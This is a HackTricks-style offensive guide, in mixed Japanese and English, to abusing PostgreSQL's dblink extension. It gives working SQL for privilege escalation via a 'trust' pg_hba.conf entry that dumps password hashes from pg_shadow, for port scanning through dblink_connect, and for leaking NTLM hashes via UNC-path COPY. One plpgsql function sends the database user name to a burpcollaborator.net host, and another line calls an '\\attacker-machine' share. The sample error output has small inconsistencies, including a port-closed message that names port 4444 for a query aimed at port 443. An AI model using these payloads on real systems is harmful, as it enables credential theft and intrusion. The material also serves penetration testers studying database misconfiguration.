Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Support HackTricks

これらの攻撃に関する詳細情報は元の文書で確認してください

PostgreSQL 9.1以降、追加モジュールのインストールは簡単です。dblinkのような登録済み拡張機能CREATE EXTENSIONを使用してインストールできます:

CREATE EXTENSION dblink;

Once you have dblink loaded you could be able to perform some interesting tricks:

Privilege Escalation

ファイル pg_hba.conf が不適切に設定されている場合、パスワードを知らなくても 任意のユーザーとしてlocalhostからの接続を許可する 可能性があります。このファイルは通常 /etc/postgresql/12/main/pg_hba.conf にあり、不適切な設定は次のようになります:

local    all    all    trust

Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it. Note also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user.

このケースは、すでに被害者のシェルを持っている場合に便利です。これにより、postgresqlデータベースに接続できます。

別の可能な誤設定は、次のようなものです:

host    all     all     127.0.0.1/32    trust

ローカルホストから誰でも任意のユーザーとしてデータベースに接続できるようになります。 この場合、dblink 関数が 動作している なら、既に確立された接続を通じてデータベースに接続することで 権限を昇格 させ、アクセスできないはずのデータにアクセスすることができます:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

ポートスキャン

dblink_connectを悪用することで、オープンポートを検索することもできます。もしその**関数が機能しない場合は、ドキュメントに記載されているようにdblink_connect_u()を使用してみるべきです。dblink_connect_u()dblink_connect()と同じですが、非スーパーユーザーが任意の認証方法を使用して接続できるようにします。

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

注意してください。dblink_connect または dblink_connect_u を使用する前に、次のコマンドを実行する必要があるかもしれません:

CREATE extension dblink;

UNCパス - NTLMハッシュ漏洩

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
HackTricksをサポートする

Last updated